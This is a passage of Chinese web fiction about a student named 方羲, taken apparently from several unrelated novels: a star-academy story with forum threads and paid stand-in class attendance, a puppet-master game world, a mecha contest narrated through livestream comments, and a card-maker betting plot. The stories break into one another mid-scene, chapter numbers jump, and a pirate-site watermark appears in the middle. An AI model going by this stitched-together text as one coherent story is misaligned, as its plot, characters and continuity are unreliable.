【新一届校队名单出炉，分析师空缺？】 【宋白宁纪录被打破，对方是星际游民，你敢信？】 这个标题，方羲还没意识到是在点名她。 她直接滑下去，但整个论坛被联赛相关话题点燃，因为校队选拔结束，更是给联赛热度添一把火。 “我怎么，没看到啊。” 她疑惑的抬头。 顾妗雪眉尾轻挑，“是吗？” 她侧身靠过来，一股冷冽的香气扑鼻，像深冬料峭红梅，白色长发从她肩上滑落，被风吹起，在方羲脸上挠了挠。 “喏，这个就是。” 顾妗雪指了指宋白宁关联的帖子，看了眼方羲，靠近才发现，这家伙跟她差不多高，但被大衣笼罩着，这种贴近的距离，才感觉到她身体有些硌的慌，身上只有很薄一层肌肉，脸颊微微凹陷。 想起她的身份，顾妗雪抿了抿唇，暗骂：论坛那群傻叉男的真该死。 “随便看看就行，这群人自己做不到，也只会在这里无能狂怒。” 顾妗雪冷声安慰道。 要不是论坛提醒，方羲都不知道她破了什么纪录，收到通知那会，她光注意通过了，然后购置东西，成绩也没点开看。 帖子里倒是很多人在抗议，说要申请复核。 所谓复核，就是调出教务办全息录像。 方羲压根没走什么后门，短发老师也不存在半点放水，她扫了一眼，没在意的退出去。 “你说得对。” 她赞同的朝顾妗雪点了点头。 “让他们复核去吧。”方羲不在意的道。 秉持来都来了心理，她顺便把上方几个飘红帖都看了看。 看到校队名单时，她往下滑动，比对了一下信息。 然后瞥了眼正在慢条斯理吞咽营养液的顾妗雪，了然点头：“前几天你不在，是去参加校队选拔了吧。” 顾妗雪挑了头发甩到身后，有些骄矜的点头：“那当然。” “校队新任强攻手而已。” 她语气拖得很长，志得意满之气溢于言表。 方羲捧场的点头：“厉害厉害。” 顾妗雪隐约感觉到，方羲对她并无刚才陌生，于是适当的提出自己的疑惑：“你是哪个星的？” “塔洛星，第九星环”，方羲翻看帖子间隙，看着她答道，“不过我确实是星际游民。” “你的眼睛是怎么回事，受了伤？” 方羲被她提醒，摸了摸机械义眼，星际仿生技术的确发达，植入机械义眼后，她并没有半点不适，不被人提出来，甚至都要忘了。 “对。” 方羲不欲多答，说多了她自己也不知道。 从校队的帖子出去，找到上面，看见上一个帖子的内容，她眼神突然亮了亮。 顾妗雪看见那颗绿松石好像发着光一样，她冰冷的神色跟着明朗几分，一个浅笑还没勾出来。 就见方羲站起来，朝她挥了挥手，“我有点事，先回去休息了，回聊。” 顾妗雪看着她快步走回另一边的房间，神色一敛，手上举着营养液，蹙眉灌了一口，艰难的咽下去。 屏息后，闻到空气中残留了几分木系冷香，被论坛帖子勾起的不爽情绪散了几分。 她手上的光脑震了震，顾妗雪扫了眼发件人，不太想理会。 方羲进门后，在书桌前坐下，忙着看帖子里的层主。 23l：我丢，我也想去接学长学姐，但我有课呜呜呜，咋办啊。 25l：你找个人给你代一代，分析师基础课程而已，只要三段考试不挂，老师对代课这种都睁一只眼，闭一只眼。 30l：有没有群！我求一个代课，有偿！ 方羲看着这个群号，扫描进入。 略过上方一串无意义的打招呼，她看了看自己的课表，把备注改成了‘接代课单’，后缀空闲时间。 刚改完，马上有一个私聊框弹出来。 “滴滴，同学，接单吗？” 方羲没想到这么快就有生意上门，为了展示自己的专业性，她没有立刻回复是还是不是，而是问对面： “哪个学院哪个老师，几点到几点。” 军校代课并不少见，并且衍生出了一条学生之间的产业链。 军校教学办也根据此，想出了一种解决方法。 可以由他人代为出勤，但整个学期本人出勤率必须在70％以上，并且中段考，末端考和期末考，三次均合格，才能够结课，否则必须交付高昂费用去重修。 这也是为什么有学生如此大胆在论坛求代课。 对面发来他的课程纪录。 方羲对比，确定没有和自己的课程撞上，“行，按照市价支付吧。” 对面：“没问题，我先给一半定金，剩下的上完课付。” 说完，他转来星币订单。 方羲头顶几个问号，顿时悟了。 代课有点赚钱啊。 “对了，作业也拜托你完成了，两次的定金一起付。” 方羲赶紧切屏去了解了一下‘市价’。 代课费一般是三百左右，有些提问多的课程，被标注出来需要加钱，而相应的作业代写，出价更贵一些。 方羲快速了解行情，接下了他的代课单：“完成，可以了。” “你记得到时候签到选一下我，我叫齐思侠，学号……” “没问题。” 方羲正在看群文件里的代课流程，记住整个过程后，没有冲动接单。 新一周的第一天，单兵系没有课程安排，方羲收拾好东西，准备前往分析师系的问道楼。 谁能想到，单兵系新生进入烛荆府的第一天，上的第一节 课是分析师课程。 分析师是觉醒者之中的特殊群体。 精神觉醒的能量，一部分用来开拓广阔的精神阈，另一部分凝结成本体晶。 一般而言，本体晶的数值越高，精神阈值就越低；数值越低，精神阈值越高，或者两者均低，两者均高者极其少见。 这一类精神阈值极高的群体，拥有极强的能量水平感知。 在能量场中，承担着分析场内能量波动，锚点位置，监测位点，以及确定能量体的能量晶的位置，被称为分析师。 问道楼，二楼。 方羲扫描自己的身份卡，输入齐思侠的姓名，学号后，在教室的角落坐下来。 穿着黑色大衣的中年老师，臂弯中夹着一把机械戒尺走进来，刚登上讲台，就将机械戒尺朝桌上一立。 一道蓝色光线从教室前方扫过，又回到戒尺中，背后亮着的光屏上显示出一行数据。 第二学年-能量晶分析课程 教学者：杨琴鹤 应到：79人，实到：73人。 清癯的中年教师眼神洞察，还没开讲，就给予其他人会心一击：“没来的，全部做缺勤处理。” “剩下的，不管你是不是本人，回答不上问题的，也按照课堂守则扣分。” “接下来，上课。” 方羲放在裤腿旁边的手抖了抖，看着周围的人或掏出一本文字书，或用光脑调出教材，她默默吞咽了一下。 这是二年级的课，救命！ 没人告诉她，还要随机抽查啊。 论坛害我，不是说走个过场就结束吗。 方羲内心大苦，手速在这一刻前所未有的迅速，点击论坛，搜索课程，下载教材。 等到书摊开，她才松了一口气，然后一抬头，见到面前的全息影像进展到了一个陌生的地方。 她看了眼书。 抬头看了眼讲台。 我只是低头找了个课本，世界一下变成了陌生的模样。 方羲目光短暂的呆滞了一秒，杨琴鹤正好讲到这里，停顿了下来，清正的声音如同恶魔低语：“接下来，我请一位同学上来演示一下。” “好，我知道了。”方羲叫了一声一千零二，从她肚子里翻出一条黑色的蒙眼纱，递给梨花雪。 “戴上。”方羲说，“然后进去一千零二的肚子，里面是一个容纳无穷的宇宙，人类生命和傀儡都可以待在里面。” 梨花雪脸上露出不解，显然不太明白。 “我打算去找残肢材料。”方羲笑道，“你也是傀儡师哎，难道不想一起吗？我带你去一个游戏地图看不见的地方！” 去大地之下的旧世界。 被她命名为“白乌鸦”的神秘区域。 顺便看望一下炫酷的大白龙，还有帮她摘眼球的天使，这些活了上百上千的远古人偶们。 “梨花雪，既然你愿意告诉我你的秘密。” “那我也带你去我的秘密世界。”方羲摸摸下巴，故作深沉地说，“出来之后，记得好好替我保守秘密。” 第 110 章 第 110 章 方羲逮住惊恐尖叫的一千零二，小心翼翼地把梨花雪推进人偶肚子里的无穷世界之后，便问其他几只无所事事的人偶：“你们要一起去吗？” 猫猫们把自己卷成一团面包。 春醒表示她要守护好小卖部。 艾莉克萨一脸冷漠，不感兴趣。 “好吧。”方羲非常遗憾，遗憾地对一千零二说，“那就我和你一起。” 一千零二扭了扭身体，她对自己肚子里装了一个脆弱的生命，感到非常不适应，见此，立刻催促方羲快快上路，这样她就可以早点把梨花雪吐出来！ 方羲回到个人空间，带上喷壶，顺着上次走过的路线，前往旧世界。 直播间画面切换成两块，方羲所在画面缩小到一角，机甲出现在测试区。 复赛测试每台机甲单独进行，测试结束拿到成绩后，选手才可以离开改造间。 测试最长十分钟，方羲也不急着出去。 玄武符受攻击或者“生命”降低才开始生效，测试没什么好看的。方羲闭上眼，继续调息。 赛场首页大屏幕上，所有提交的机甲同时启动。 测试区分割成一个个小窗口，一百多台造型相似的机甲舒展身躯，初始动作整齐划一，力与美的结合格外赏心悦目。 随着启动，站立姿势的机甲很快变形。方羲所在的F6测试区，土黄色机甲屈膝，四肢着地抱住胸口卧倒，飞快团成一座真·小山，不再移动。 [方羲这是要笑死我好继承我的星网呗吗？改造不行，干脆让机甲表演乌龟？别说，这土黄色，这大驼背，还真挺像的。] [啊？我一个个直播间看过来，刚进来，怎么大家都很嫌弃这个机甲师啊？这个造型不是为了卸力、更好地保护能源仓进行防御吗？三分之二的选手都是这个造型啊。] [对对，我们W1的白机甲师经验丰富，第一个反应过来！她进比赛一个多小时就发现了最佳姿势，还解释过卸力原理。别看乌龟丑，但有用啊！] 各个直播间逛来逛去的观众们路过方羲个人直播间，满是嘲讽的直播观众都愣住了： [但是……方羲好像只花了半个小时就设置完了？真算起来，她应该算第一个反应过来的吧？毕竟她后面都在睡觉，啊，又开始睡了，她怎么这么困啊？？？] [不看不知道，一看吓一跳，还有人傻乎乎直接开运输舱改造，里面的水洒了一地被扣分……这么看方羲好像也没那么离谱……] [既然方羲设置对了防御姿态，难不成，她的画画真有用？] [我不信，瞎猫碰死耗子吧。她改不了防御甲，那只能靠机甲本身状态拖延一会喽。第一波攻击倒计时了，方羲这破机甲，没几秒就得碎成渣渣。] 直播屏幕上，耀目的武器光芒瞬间绽放，热浪舔上直播镜头，连空气都扭曲了一瞬。 爆炸火光淹没一台台机甲，轰鸣震耳欲聋，几乎无人捕捉到，火光中，忽地亮起一抹银光。 观众们瞪大眼睛，有的盯着首页，有的在自己看好的几个选手直播间来回跑，生怕错过一点消息。 30秒第一波攻击转瞬即逝，火光褪去，一台台机甲静静立在硝烟里。 唯一一台看起来什么都没改造的土黄色机甲，也在其中。 机甲表面蒙上了一层黑灰硝烟，看起来脏兮兮的，但再怎么脏，也比当场爆炸淘汰黑屏的其他直播间好得多。 它隆起的背部亮着一片淡淡银光，在火光中毫不起眼，却坚韧持久地存在着。 直播间破损度数据，明晃晃地挂在机甲上空：【No.10001改造，破损度：0.1%。】 [！！！我去，说好的从弱到强的攻击，第一波就是饱和式轰炸？有个机甲直接被轰成烟花了！] [走到复赛的都有两把刷子，拿到基础分的人还蛮多的。让我康康方羲坚持了几秒出局……方羲的机甲还没淘汰？啊？？？] [1%？1%破损？？？这不就是蹭破油皮、掉根头发的程度？意思是，别人炸成烟花，方羲的机甲毫发无损？！] [呃，可能是她运气好位置恰好避开了轰炸中心……？就算撞大运拿到30秒基础分，下个阶段要增加难度，没点真本事肯定坚持不到1分钟，等着瞧吧！] 首页一百多个个人直播间有几十个黑屏了，被淘汰的机甲师们离开改造间。 “唉，我怎么就忘了改防御姿态呢！傻乎乎站在原地，直接被爆能源仓，太吃亏了！要是改了说不定还能坚持到30秒，好歹有个基础分啊。” “我倒是想起来让机甲趴下了。但没注意机甲负重问题，最开始处理的材料没法用，中途换的新材料和结构不协调，好家伙，原地解体。” “第二阶段淘汰的倒霉蛋也出来了！激光结合高斯武器也难搞的很，来来来一起看比赛！” 赛后反思声在休息区汇成嗡嗡声浪，白馥的机甲只多坚持了几秒，无奈摇头走出改造间，边看直播边加入大家的复盘。 瞄到大屏幕上其中一台机甲，白馥当场愣住，“等等，这个机甲师速度太快了吧？换完防御甲，还有空闲改成原野一型的出厂涂装？什么忽悠人恶趣味。” “哪个？” “F6改造间……No.10001。”白馥忽然感觉数字有点眼熟。 正思考着在哪里见过，白馥就见旁边的机甲师幽幽看她一眼，神色格外复杂，“你不知道？这可是你们萤火星赛场出来的奇葩啊，进场的时候你还和她说过话。什么改涂装，这台机甲压根没换防御甲！” 白馥：“哦，原来是没……没换？！” 白馥瞪大眼睛上上下下看了一遍机甲，越看越震惊：……好像真没换机甲外甲！？ 可是，怎么会有人防御改造不换防御甲的啊？！难不成，是她技术太差了，换的新防御甲还不如原野一型原本的？？？ 白馥满脸恍惚，身边机甲师拍拍她，“别想了，跟原野一型原本的防御没关系。有个处理完材料，没来得及换新防御甲的倒霉蛋，机甲两秒就破防爆炸了。” 机甲师们和部分嘴硬嘲讽的弹幕不一样，完全明白，这台机甲能坚持下来，绝不是巧合。 “……可是，这到底是怎么做到的啊？？？” 望着大屏幕上个人直播间一个个暗下去，看起来平平无奇的土黄色机甲却依然苟在原地，白馥世界观都颠覆了。 白馥的疑问，也是所有注意到方羲机甲的机甲师的疑问，脸上全是一个大写的怀疑人生。 几分钟过去，留在大屏幕上的个人直播间越来越少，坚持认为方羲的机甲会迅速报废的弹幕，也嘴硬不下去了。 [救命，方羲到底是怎么做到的？啊？？？她怎么还没被淘汰？] [开盘了开盘了，目前场上拿到15分的有33名机甲师，方羲能坚持到多少分？] [C5和另外几个机甲改造坚持到现在很正常，光是材料都用了那么多呢，方羲的到底是怎么回事？画几笔就能也拿15分，这不科学！！！我赌一个方羲16分收盘！] 方绮走出改造间，看着大屏幕上只剩二十多名机甲师，松了口气。 复赛第一场题目难度高，工作量大，对她不太有利。 好在她拿到了集团机甲师和老师的指点，压中了题，几年学习下来，方绮做到结合活用技术，就已经能超过许多人了。 方绮伸长脖子在休息区寻觅一圈，没看到方羲的身影，暗自窃喜。 方羲刚入学就进了医院，压根没完整学习过，更没做过防御类设计。她觉得题目难，方羲肯定更觉得难。 一次初赛胜利而已，说不定，方羲复赛完全没来得及改造完，或者强行改造失败送急救了呢。 可惜方羲突然变了，让她和初赛赛场第一失之交臂。到了复赛，各个赛场高手如云各有所长，第一就没那么容易了，原本的“天才少女”宣传没法用了。 不过没关系，她的二哥已经跟随机甲大师学习了几年，回水蓝星参赛对星系第一势在必得，总有一起宣传“天才”的机会！ 休息区里，机甲师们都密切关注着大屏幕，分析汲取坚持到现在的优秀机甲师经验。 “我觉得应该是用了力场改造？” “不不不，我还是觉得和完美处理材料有关……” “六分钟了，星海在上，她居然还能继续坚持！” 大家在说哪位厉害的机甲师吗？ 方绮找到三三两两聚在一起的水蓝大学机甲师，试图找话题，“请问大家有人见过我妹妹方羲吗？我没看到她。” 同学看着她欲言又止，旁边有人古怪地问，“你认识方羲？No.10001方羲？” 听到名字，休息区的机甲师们纷纷回头，目光汇聚在方绮身上。 方绮感觉哪里不对劲，但还是点了头，“我知道大家对我有误会，但她性子倔强，精神力受损还要参赛，我很担心她……” “哦，那你不用担心了。她还没比完呢。” “你说什么？！”方绮脸色骤变。 水蓝大学的同学们看着她摇摇头，指了指屏幕，“喏，你自己看。右上角F6那个。” 短短时间里，又有几台机甲的直播间黑了下去，直播首页只剩下十几台机甲。方绮一眼就看到了那台机甲。 土黄色机甲乌龟似的蜷缩着，黑扑扑的背甲坑坑洼洼，烧卷和被打击凹陷的地方处处都是，有一角“龟壳”已经瘪了，看起来格外凄惨。 但往旁边的直播间一看： 要么已经报废成一地残骸淘汰，要么破破烂烂不成形状……和众多机甲相比，这台机甲竟然是状态最好的！ 一只头顶光圈的黑色天使，忽然出现！ 他收起巨大的黑色鸦羽，在白云上落地，好奇地戳了戳梨花雪，又看了看方羲，显然不理解人偶师为什么带了一个客人进来，脸上露出一丝委屈。 黑天使开始叽叽呱呱地大叫。 “这是什么玩意？”一千零二绕着黑天使转悠了一圈，也学着他，发出叽叽呱呱的乱叫声。 黑天使：“……” 黑天使觉得这书实在是有点蠢，主动闭上了嘴巴，走过去戳了一下方羲，又抬手指了指不远处结满眼球的巨树。 ——好久不见，这次，还要摘眼球吗？魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 110-120 第 111 章 第 111 章 方羲胡乱揉了一把黑天使的头，表示她暂时先不摘新的眼球。 黑天使懵懵懂懂点了点头，脸上露出一丝遗憾，但也没离开，而是和梨花雪、方羲二人一起待在云朵上，无聊地晃悠翅膀。 方羲看了看黑天使，忽然灵机一动，从一千零二肚子里翻找出《人偶师作品图录》，并完全遗忘了旁边还有个人，在云朵上盘腿坐下，打开，决定进行郑重地阅读。 道具详情上虽然说是“游戏主脑自动收录”……但实际上这是一本由无数先行者曾经胡乱写下的笔记，被集合成一本书而已。 上面每一个人偶，都会写上人偶的名字、力量特性、性格介绍、创造者是谁等等，而且因为书写者的性格不同，其简介的侧重点也会有些不一样。 方羲翻到了大白龙的简介。 名字：十四州 创造者：696 形态： ［星际七院、烛荆府（校内论坛）］ 【昨晚选课，发现了一个奇怪的东西［图］】 楼主：就是说，单兵系多了个人，是怎么回事？ 2l：啊？bug了，不应该啊，教务处连接的是星盟教育部内网［汗］ 5l：有没有可能，是多收了一个学生？ 7l：？有事吗，入学招生结束了半个月了，还能招人，烛荆府好歹是军事直属，搞这种关系户，挑衅星盟刑法是吧？ 11l：不是，你们能不能打听一下啊，我们烛荆府有特殊招生啊［星际游民通道计划图］ 20l：啊？这个东西多少年没见过了，还真有人通过吗，真的假的？ 21l：真的有星际游民通过啊，第一例吧 33l：不是，大家都在讨论星际游民，只有我关心，烛荆府刚联赛拿了倒数，转头又收星际游民，星网会怎么嘲我们吗？ 35l：对，只有你 36l：只有你+1 40l：少在这里引战，学长学姐已经很拼了，你这话说的阴阳怪气谁，星网嘲烛荆府现在是zzzq，怕嘲，你来烛荆府做什么 42l：星际游民通过考核还挺不容易的，能通过说明她和大家一样，有什么好嘲的 43l：楼上还真别说，入学考核及格还是很简单啊 50l：哪里来的大佬说简单？差点要我半条命，草！ 57l：人说的也没错啊，你们又骂什么，入学考核及格很容易吧，好歹是星盟基础学院培养上来的，不及格说明你读基础的时候，就很菜 60l：不是，没毛病啊，及格确实不难，觉得难的，是不是想冲分数排行榜啊 75l：谁还敢冲排行榜啊，我真笑了，排行榜上第一都是宋白宁，我就问，还有谁，我宋主任战绩这么多年没被打破过 82l：把我们跟宋主任放一起比，啊哈哈哈，你真高看我，我配吗，我不配啊 91l：我丢，真的啊，这记录得有30多年了吧，竟然没一个人打破？ 100l：很正常吧，也不想想，星盟能有几个这样的人物，就算边境军军委主任，宋主任也是史上最年轻的吧 106l：据说帝国纪年的时候，第一任议事长统领军队时才25羲 112l：时代不同好吧，不能这么比，那时候金师也才25呢，至少你得承认，星盟建立后至今这几百年，宋主任绝对是其中能排的上号的天才 123l：112哥点了。 235l：卧槽！！快看分数排行榜！！ 237l：卧槽！卧槽！ 240l：全他爹卧槽个鬼，谁截个图啊我在上课，星网在刷网课草！ 251l：［分数排行榜截图］ 253l：这个方羲是谁？ 255l：大胆猜测，多了一个人+刷新排名，你品 260l：我丢，我他妈被一个星际游民干下来了？？！ 261l：你怎么敢把她当星际游民看啊，你见过哪个星际游民，打破边境军将军的记录？ 266l：说句实话，宋主任那个时候也不是完全态吧，你这个对比，明显削弱了宋主任啊。 275l：削弱的宋主任都三十多年没人打得过，好意思吗？ 288l：我不信，我要去向教务处调考核视频，怎么可能？！ 290l：有人急了 293l：我也不信，草，这他妈笑话吧 301l：我已经向教务处发复核申请了，真就离谱 305l：真搞笑啊，刚才还在嘲别人菜，现在又因为别人太优秀破防，不愧是烛荆府呢！ 307l：外院给你爹滚，少在这里阴阳怪气，你爹再怎么差，也是第四星环顺位第一 帖子后半程充斥各方引战和对骂，等到夜晚，直接被顶上了校园论坛首页。 方羲领取了自己的学生卡，走完入学流程，看着缴纳学费后，一下清空的账户余额，心里很有点不舍。 接引她的并不是昨晚的短发老师，而是另一名马尾女老师，对方说话的语气很温柔，栗色的碎发，整个人看上去知性优雅。 “在这里录入入学程序，然后领取校服，日用品，就可以前往宿舍了。” “宿舍楼是双人单间”，老师把方羲的指纹和虹膜录入，随后给了她一把备用密钥，“对了，秦老师说你目前还是待觉醒，为了方便，先把你安排去了单兵系，等觉醒征兆结束后，会给你开通一次转专业机会，你可以先了解一下各个专业。” “我们七院，基本上包含星盟所有专业，其中成果最多的，成绩最好的是生物系，后勤系、社会人文系等，属于非战院系，如果以后有进入边境军的打算，最好报战系专业。” “你的星网已经开通学院板块，相关信息可以在官网，教育部网和校园论坛看看，目前星网账号可以进入公共论坛，校园号可以进入学院论坛，剩下的你自己摸索一下吧。” 方羲点点头，跟着她领取了七院的校服和日用品，就在入学程序的带领下，找到了七院宿舍。 星际七院的后山群，眼下正值谕光星的暖春，青绿葱茏的一片，空气中充满植物的气息，景观也的确像星网说的： ‘七院实力不足，但实在美丽’。 宿舍在观赏湖的上方。 方羲发现谕光星很喜欢做这种湖悬建筑，只要有水，上面一定做悬空建筑。 位于景观湖上方的悬空宿舍楼层很高，站在上面眺望道另一边的山峰，能看到最近处的生物系实验园。 方羲的寝室在七楼，双人单间，另一间房住了人。 公用的客厅和治疗舱位有一些生活痕迹，茶桌上放着一排营养液，整个客厅整齐有序，干净整洁。 方羲对室友大概有了个‘爱干净，有条理’的印象。 她刚走进宿舍，在大门处录入自己的学生信息，标注着她的房间序号的金属大门上方，黑色的长条型光屏亮了白光。 “您好，方羲同学，欢迎进入烛荆府，我是你的生活智能管家。” 方羲看着光屏上，一秒刷新一次的颜文字，在门口愣了愣，关上房门后回应道：“你好。” “现在是谕光星计时，晚上七点二十四分，请问您是否用餐进食？” “吃过了，谢谢。” 方羲在房门处扫描自己的虹膜和指纹，进入自己的房间后，整个人才松了一口气。 房间内部只有一个休息舱，一张长桌，一个衣柜，和卫生间。 因为学院有网课要求，还配备一面连接好的全息光屏，大门侧对的就是窗。 智能管家的光屏在房间内部的房门上方闪了闪，“请问是否需要关窗？” 方羲坐在长桌前的软靠背座椅上，休息舱做成茧一样的形状。 方羲看了眼，夜晚的风带着些许凉意，携带着景观湖的水汽，有些潮湿。 她点点头：“麻烦你，关一下吧。” 智能管家和房间内的电器设施连接，马上操作，打开的玻璃窗户缓缓合上。 方羲启动休息舱，将领取的生活用品整理好，衣柜里摆放着刚拿出来的七院校服。 烛荆府的校服整体深黑色，衣袖上有金色荆棘，火焰样的纹饰，衣摆上绣着烛荆府的图案，还有配备有七院特色腰带和光脑配饰。 这个流苏配饰方羲在成维手上见过。 她把东西收拢好，准备去卫生间洗浴，收拾衣物时，方羲突然转头看着光屏，语气幽幽道：“管家？” “我在。” 机器音调整成活泼少女音，“有什么需要呢？” “我要洗澡了。” 光屏上闪过一串乱码，然后方羲听到它回答：“洗澡最适水温50摄氏度，宿舍供水温度在30-80摄氏度，请按照水温刻度调温，洗浴间未配备访问权限，若有紧急情况，请按下紧急按钮，生活管家会为您同步拨打医用、警用、应急通讯。” “没事了。” 听到没有访问权限，方羲放心进去洗漱，进门时听见她看了眼暗下去的光屏，嘀咕道：“还挺智能。” 夜晚，方羲躺在休息舱内，光脑的光线印在她脸上，方羲扫了眼屏幕，叹了口气。 光脑账户的数字印在她绿松石一样的瞳孔里，硕大第一个2139，看得方羲心里狠狠一痛。 “不对呀”，她忍不住坐起来，手头上算了一笔账。 算来算去，方羲一脸凝重的接受，自己要没钱的事实。 现在看来，多亏了老彼得先生接济了一点点，不然差点学费付不起，方羲深吸一口气。 她先在星网上搜了搜，觉醒全套监测，价格昂贵到，方羲觉得支付一个零头都很为难。 她唰一下删除浏览界面。 冷静的转了转眼球，深吸一口气。 “得赚点钱。” 方羲确信的点头。 先是在星网上搜索了一下招聘信息。 烛荆府周围的店铺，也许会招收兼职，要是能找到维修店铺的兼职就好了。 方羲对自己的手艺还是很自信的。 但她翻遍了招聘网页，甚至在后台联系商家，对面却询问她证件。 方羲被问得愣了愣，去搜索了解了一下，才知道，原来在星际联盟，要成为一名合格的维修师，是需要考证的啊。 在塔洛星也没人问她要啊。 方羲抿了抿唇，目光犹疑：“我不会，无证，接单了三个月吧？” 招聘暂停，我看看星际法条。 确定塔洛星，第九星环，没有严格要求必须持证参与机甲维修，自己没有违法行为后，方羲终于松了一口气。 但紧接着，她考虑起考一个维修师证。 报名费用不高，考虑到长期发展，她趁着报名时间还没截止，赶紧报了名。 于是，本就不富裕的账户愈加雪上加霜。 第二天早上，方羲在门口签收了自己在星网购买的营养液，不然很可能落到，入学第二天，吃不饱饭的窘境。 掀开营养液封口时，方羲看了眼客厅和室友的房门，她昨晚睡得早，没听见又什么动静，现在看样子，室友好像一直没回来。 心里压着几分好奇，她仰头喝下营养液，准备去教务办领取自己的军训课程。 她的身体在这一刻，轻轻颤抖了一下，不可思议地看向“投票之人”。 方羲笑道：“不知道你口中的投票究竟是什么样的形式，所以我就用临时写的纸条代替了。我现在参加，应该还来得及吧？” “我的投票，并不是出于任何价值和利益的考虑，也不是因为你是创造傀儡的天才，才想投你。”方羲摸摸梨花雪的头，“只是，如果你觉得在这场投票中胜出，才有资格继续活下来的话，那我就按照你的方式这么做。” “梨花雪，因为我希望你留下来，也不准去死。” “不过，好像十万个投票者，的确有点多……但没关系。” 梨花雪握紧手里的小纸条，听见先行者用轻飘飘、甚至带着无所谓的语气说道：“反正——我拥有一票决定权，不是吗？” 第 112 章 第 112 章 方羲在旧世界哐哐哐捡了不少材料，一半丢进生无可恋的一千零二的肚子里，一半收进游戏背包。 考虑到梨花雪的确活动不太方便，所以这次的探索仅限于孤岛沙滩。方羲甚至让一千零二飞上去椰子树，帮忙把所有椰子通通打落。 方羲、梨花雪、一千零二，二人一书，各抱着一个刚开壳的椰子，吸溜吸溜地喝纯天然无添加的椰汁。 “我把刚刚捡到的材料那些分你一半。” 方羲打开游戏面板，直接把材料转赠给梨花雪，顺便看了一眼时间，她们在旧世界待了八个小时左右，现在已经快凌晨四点了。 梨花雪轻声道了句谢谢。 “收藏家。”梨花雪手里还小心翼翼地拿着那张具备特殊意义的小纸条，紧张扭捏地说，“我……回去之后，会尝试先刷简单的训练副本。因为如果只是这种低等级的基础副本，也不需要组队，那些人也不会起疑心。” 毕竟，新晋赛已经彻底接近尾声，普通玩家不再执着于刷副本，连密匙玩家也在针对预备役进行特训。所以她觉得，以自己这种情况，可能也找不到什么固定队友。 梨花雪顿了顿，才继续说：“我知道，这种行为可能只是拙劣的努力。总之，我会想办法活下去的。” 其他人或许不知道方羲有多牛逼，但是作为方羲的室友，他还能不知道吗！ 乔峻的直觉告诉他，方羲就算拿不到前三，也一定能够问鼎前十。 这不是发家致富的机会又是什么？ 乔峻当即就点开那条广告里的链接，进入了卡牌协会的官网，而且还不忘招呼方羲他们也来围观。 一进入投注界面，率先弹出来的，就是那四十多个被网友们评选出来的认为最有可能拿下前十桂冠的种子选手的名字。 李贺的赔率是1：1.1 钱善静的赔率是1：1.2 牧诏的赔率是1：1.4 …… 然后就是一个写着‘点击搜索其他参赛选手’几个字的跳转按钮。 太看不起人了。 但是乔峻却反而更高兴了。 因为这意味着方羲的赔率肯定会非常高。 于是他连忙输入方羲的名字，然后点了进去。 “赔率，1：5。” 他又输入了宋约等人的名字，赔率也都是1：5。 乔峻：“……” 你都这么看不起人了为什么还要这么公平？ 方羲：“正常，毕竟卡牌协会可是官方组织，也不靠这个吃饭，要是把赔率定的太高，那就有引诱人赌博的嫌疑了。” 乔峻：“……也是。” 所以，他发家致富的希望才刚刚萌芽就夭折了！！！ 不过五倍的赔率其实也不低了，多多少少能帮他赚上一点零花钱。 想到这里，乔峻毫不犹豫把他这几天制作卡牌赚到的钱加上他家里打给他的零花钱一共八千多星币全都买了方羲。 一旁的欧阳瑞见了，打开光脑，学着乔峻，把自己这个月的十万零花钱也都提出来，买了方羲。 “嗷呜。” 小阿拉斯加叫了一声。 于是欧阳瑞又打开小阿拉斯加的账户，把它的五万块零花钱也提了出来。 方羲：“……” 他也跟着打开光脑，买了自己一万星币。 E级卡是比F级卡难了将近五倍没错，但是它的价格也比F级卡漂亮了将近八倍——一张E级水卡的价格达到了一千星币。 加上他的出错率和不合格率都非常低，所以这几天，他又赚了六万多星币。 他这么做也并不是因为他有多自信，而是在了解了星火杯初赛的赛制之后，他真心觉得自己输不了。 另一边，谷大姨他们也都知道了方羲准备参加星火杯大赛的消息。 谷大姨和谷池自然就不用说了，他们第一时间就都往方羲身上压了五百块。 谷燕想了想，也就跟着押了五百块。 她这个月的工资还没发呢，能一口气拿出五百块支持方羲已经很不错了……好吧，的确有点少。 毕竟方羲才刚刚觉醒成为制卡师，就大方的给她开出了一个月两千星币的零花钱呢。 想到这里，她当即就又下了五百块钱的注。 也就在这个时候，坐在她旁边工位上的年轻男人说道：“咦，谷燕，你也有关注星火杯大赛啊，你还下注了。” 看到谷燕看过来，他反应过来，连忙解释道：“我没有故意偷看你的光脑界面，就是一不小心看到的……” 听见这话，附近的其他人也都看了过来：“我也在玩这个。” “我也是，就当理财了，去年我投了三千，小赚了五百块，一个月的饭钱和网钱都有了。” 因为现在是午休时间，所以他们直接就聊开了 “所以谷燕，你投的谁啊！” 谷燕：“……我表弟。” 她的那些同事：“什么，你竟然还有一个能力者表弟？” “你表弟竟然敢参加这一届大赛，那他的实力应该很强吧？” 谷燕：“……还可以。” 她的那些同事：“那我们这不得在他身上押一点。” “下个月的饭钱和网钱就看弟弟的了。” “所以你弟弟叫什么名字？” 谷燕下意识道：“方羲。” 她的那些同事把方羲的拼音往搜索栏里一打，直接就搜出了他的信息。 “方羲，十八岁，E级制卡师……” E级？ 你管这叫实力很强？ ——虽然第十星系的选手质量一直稳坐倒数后五位的交椅，但至少每年他们选拔出来的半决赛选手都能达到D级。 她的那些同事全都沉默了。 谷燕这才反应过来：“押注就算了，我对他都没有什么信心，就别浪费那个钱了。” 要是他们的年纪再大上几岁，那他们肯定会顺着谷燕的话把这件事情揭过去，但耐不住他们和谷燕一样，都是刚刚进入社会没有多久的年轻人，脸皮都薄得可怜，只觉得他们都已经把话放出来了，那么自然就该说到做到。 “没事儿，那可是你的表弟，我们支持一下他也是应该的。” 好在他们刚才没有说要给方羲投多少。 所以他们绝大多数人都只投注了一百星币。 谷燕：“……” 时间很快就来到了比赛这天。 因为乔峻要上课，谷大姨他们也都没有请到假，所以欧阳瑞和小阿拉斯加承担起了送方羲进赛场的任务。 “哥哥，你一定能拿到冠军的。” 欧阳瑞抱了抱方羲，衷心祝愿道。 小阿拉斯加也跟着嗷呜了一声。 方羲：“谢谢小瑞，谢谢大黄。” 他摸了摸小阿拉斯加的下巴：“我要是真能拿到冠军，到时候一定给你做上满满一大锅窝窝头吃。” “嗷呜嗷呜。” 小阿拉斯加的尾巴顿时就又摇了起来。 听见这话，旁边的一群人不禁转头看了他们一眼。 因为方羲那句他要是能拿到冠军的话。 这些人可不正是一班的陈通等人。 然后他们就认出了方羲。 